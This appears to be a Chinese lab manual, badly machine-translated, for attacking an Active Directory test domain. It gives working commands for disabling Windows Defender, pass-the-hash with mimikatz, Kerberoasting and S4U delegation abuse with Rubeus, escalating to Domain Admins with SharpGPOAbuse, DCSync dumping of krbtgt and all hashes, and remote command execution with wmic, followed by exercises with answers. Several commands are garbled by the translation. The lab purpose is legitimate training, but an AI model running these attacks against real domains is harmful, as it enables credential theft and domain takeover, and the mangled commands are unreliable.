Active-Directory-Security-101 手册


后置知识

刚入门的小伙伴京东或者淘宝买这本书可以去看看

Windows Server 2012 R2系统配置指南_戴有伟编着

文章是根据https://github.com/cfalta/adse c改编的。

环境搭建

https://github.com/cfalta/adsec/tree/main/lab-setup

  • DC-Windows 2019
  • 用户杰克-Windows 2019
  • SqlServer-Windows 2019

https:// newsid.softag.com/download在三台机器上以管理员权限执行以下命令。












  • 关闭防火墙
Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False
  • 关闭Windows Defender
卸载-WindowsFeature -Name Windows-Defender

下载自动化脚本辅助安装
https://github.com/cfalta/adsec/tree/main/lab-setup/domain-setup-scripts

运行createdomain脚本,自己修改里面的域名称。
这里应该不能一步完成
先执行

安装-WindowsFeature -Name AD-Domain-Services -IncludeManagementTools

重启之后继续执行。重启后执行这个文件功能就是根据json文件去自动添加用户和组等等。









配置域内机

在两台成员机器上使用以下两个域账号注册

约翰·多伊约翰P@ssw0rd
李小龙流血铁拳真棒!


user1这台用john认证user2机器用blee登录

https://github.com/cfalta/adsec/blob/main/exercises/attacker-tools
查看有多少电脑和域内用户

获取域计算机
获取域用户

过滤出域管出来

获取域用户|  ? { $_ .memberof -like " *域管理员* " }

获取域用户|  ? { $_ .memberof -like " *域管理员* " } |  选择 相同的帐户名



sekurlsa::pth /user:Administrator /ntlm:7dfa0531d73101ca080c7379a9bff1c7 /domain:wing.lab

psexec.exe \\ user2 cmd

课后习题

  1. mimikatz 执行"privilege::debug"和"token::elevate"的目的是什么?为什么需要执行它们?
  2. 以李小龙的身份登录1。使用您在上面的用户的知识。 john 从内存中远程提取帮助李小龙的 NTLM 哈希。
  3. 如何解决 PTH 问题,请讲清楚原因。
  4. 是否有可能(可能会)完全不是NTLM?解释你的理由。Kerberos-烘焙

    预习资料网络——AS-REP Roasting
    加载插件

    cd C: \a ttacker-tools
    猫生的。\ PowerView.ps1 | 交换器
    猫生的。\I nvoke-Rubeus.ps1 | 交换器

    查询SPN,获得服务用户

    获取域用户-SPN |  选择 samaccountname、 description、pwdlastset、serviceprincipalname

    Rubeus 有一个统计 kerberos 数据的功能

    Invoke-Rubeus -Command " kerberoast /stats "

    获取目标账户的TGS

    Invoke-Rubeus -Command " kerberoast /user:taskservice /format:hashcat /outfile:krb5tgs.txt "

    这里的脚本是base64之后通过powershell内存加载

    函数 调用-Rubeus([string]$Command)
    {
    $Message = " base64 " ;
    
    $Assembly = [System.Reflection.Assembly]::Load([Convert]::FromBase64String( $Message ))
    [Rubeus.Program]::Main( $Command .Split( "  " ))
    }

    破解TGS

    . \j ohn.exe .. \. . \k rb5tgs.txt --wordlist=.. \. . \e xample.dict --rules=passphrase-rule2

    课后习题

    1. 描述一下您认为最好的缓解技术,并解释其原因。
    2. 还有一个用户会受到 ASREP 的影响,请找出来。
    3. 解释一下TGS vs. ASREP烘焙

    Kerberos(委托)

    之前设置的时候改json里面的数据,没有域改了委派用户


    Get-DomainUser -TrustedToAuth

    视委派的目标

    Get-DomainUser -TrustedToAuth |  选择 -ExpandProperty msds-allowedtodelegateto


    执行这个攻击的条件就是要知道用户的密码才行
    生成hash

    Invoke-Rubeus -Command " hash /password:Amsterdam2015 /domain:wing.lab /user:service1 "

    Rubeus 允许在新的登录会话中启动 powershell。只有在这个时候我们即将的票证会话中,不会干扰用户john 已经的kerboers 票证。使用s4u 请求一个TGS 模拟域管理用户Bruce(bwillis) )攻击user1。我们请求3个不同服务的票证CIFS将用于SMB访问HOST/ RPCS for WMI





    调用-鲁伯-Command  S4U /用户:服务1 / AES256:BE09389D798B17683B105FF6432BA4FD4785DA5A08BFD3F39328A6525433E073 / impersonateuser:bwillis /msdsspn:cifs/user1.wing.lab / PTT 
    调用-鲁伯-Command  S4U /用户:服务1 / AES256:BE09389D798B17683B105FF6432BA4FD4785DA5A08BFD3F39328A6525433E073 / impersonateuser: bwillis /msdsspn:host/user1.wing.lab / PTT 
    调用-鲁伯-Command  S4U /用户:服务1 / AES256:BE09389D798B17683B105FF6432BA4FD4785DA5A08BFD3F39328A6525433E073 / impersonateuser:bwillis /msdsspn:rpcss/user1.wing.lab / PTT 
    

    查看检查的报告自己前面
    我设置错了,委派的目标应该设置成user2,user1 是,但都一样。

    ls \\ user1.wing.lab \C $

    通过wmi控制user1

    Get-WmiObject -Class win32_process -ComputerName adsec-01.contoso.com

    课后习题

    1. 在上面的操作中,您通过SMB和WMI获得了服务器用户的读取权限。现在通过这两个协议来执行。目标是执行以下命令,将用户john添加到本地管理组
    2. 试点模拟域管理员用户查克·诺里斯不是“布鲁斯·威利斯。有什么作用”


    ACL攻击

    信息收集

    猫生的。\S harpound.ps1 | 交换器
    Invoke-Bloodhound -CollectionMethod DcOnly -Stealth -PrettyJson -NoSaveCache
    • CollectionMethod Dc只表示仅从域控收集数据。从opsec的角度来看,这样比较好,因为是流量正常。
    • Stealth单线程启动。速度较慢,但安全。
    • PrettyJson 格式化.json文件。
    • NoSaveCache 不保存保存文件。


    启动血犬下载社区版的neo4j https://neo4j.com/download-center/#releases




    ? jdk11
    ? ./neo4j 开始



    先把service1标记为已陷陷点这里点击这里用户对域控的组策略有可访问权限,通过组策略利用,攻击DC需要先以service1的身份登录







    runas /user:wing.lab \s ervice1 powershell
    . \S harpGPOAbuse.exe --AddComputerTask --TaskName " Update " --Author contoso \a dminuser --Command " cmd.exe " --Arguments ' /c net group \"Domain Admins\" john /ADD ' --GPOName 默认域控制器策略 --force
    




    写完以后,等管理员更新组策略才有可能触发。
    手工弄弄。提权成功登陆到域控。




    课后习题

    • acl 攻击有哪些利用工具?权限维持

      权限维持的东西比较多

      • 金银笔记本
      • 后门
      • 等等等等


      一般DC权限就先执行

      lsadump::dcsync /user:krbtgt

      所有收到用户hash,也可以作为后门。课后习题

      • 自主学习这些权限维持方法的原理。参考答案

        我做的特别对,有错误请留言。信息收集

        powerview3.0 技巧
        https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993

        1. 域里有多少台计算机以及它们在什么上面运行?

        1. 域有多少用户?显示所有属性查询语句进行,以表格形式呈现给用户,只有相同的用户名、显示名、描述和最后一次密码更改的时间。

        1. 你能识别出哪些自定义的管理员组?以通用方式更改上面的powershell,只能返回自定义管理组。
        Get-DomainGroupMember -Identity 域管理员 -Recurse

        1. 找到对应管理员组的成员,这些用户上一次设置的密码是什么时候?

        1. 有快速识别出域中服务帐户的方法吗?写一个powershell查询,所有简单的服务帐户。
        获取域用户-SPN | 选择 serviceprincipalname,userprincipalname,pwdlastset,lastlogon

        NTLM

        猕猴桃命令大全

        1. mimikatz 执行"privilege::debug"和"token::elevate"的目的是什么?为什么需要执行它们?
        privilege::debug - 提升为管理员权限
        token::elevate - 奖励奖励,获得其他用户的奖励系统权限
        1. 以李小龙的身份登录1。使用您在上面的用户的知识。 john 从内存中远程提取帮助李小龙的 NTLM 哈希。
        lsadump::dcsync /domain:wing.lab /user:bruce
        
        转储所有数据
        lsadump::dcsync /domain:wing.lab /all /csv
        1. 如何解决 PTH 问题,请讲清楚原因。
        • 打上打kb2871997禁止并且SID=500的管理员用户
        • 监控日志
        1. 是否有可能(可能会)完全不是NTLM?解释你的理由。
        • 审查收到的 NTLM 调查:允许对所有帐户的审查
        • 仅发送NTLMv2响应。

        第四点我不太确定。Kerberos(烘焙)

        1. 描述一下您认为最好的缓解技术,并解释其原因。
        • 禁止用户开启Do not require Kerberos preauthentication
        • 禁止弱口令
        1. 还有一个用户会受到 ASREP 的影响,请找出来。

        Get-DomainUser -PreauthNotRequired -Verbose

        1. 解释一下TGS vs. ASREP烘焙

        https://www.4hou.com/posts/YVyM

        Kerberos(委托)

        1. 在上面的操作中,您通过SMB和WMI获得了服务器用户的读取权限。现在通过这两个协议来执行。目标是执行以下命令,将用户john添加到本地管理组:
        • psexec
        wmic /node:user1 process call create " cmd.exe /c net localgroup Administrators john /add "
        1. 试点模拟域管理员用户查克·诺里斯不是“布鲁斯·威利斯。有什么作用?”

        可以攻击域控访问控制列表

        acl 攻击有哪些利用工具?

        • github.com权限维持自主学习这些权限维持的原理。

相关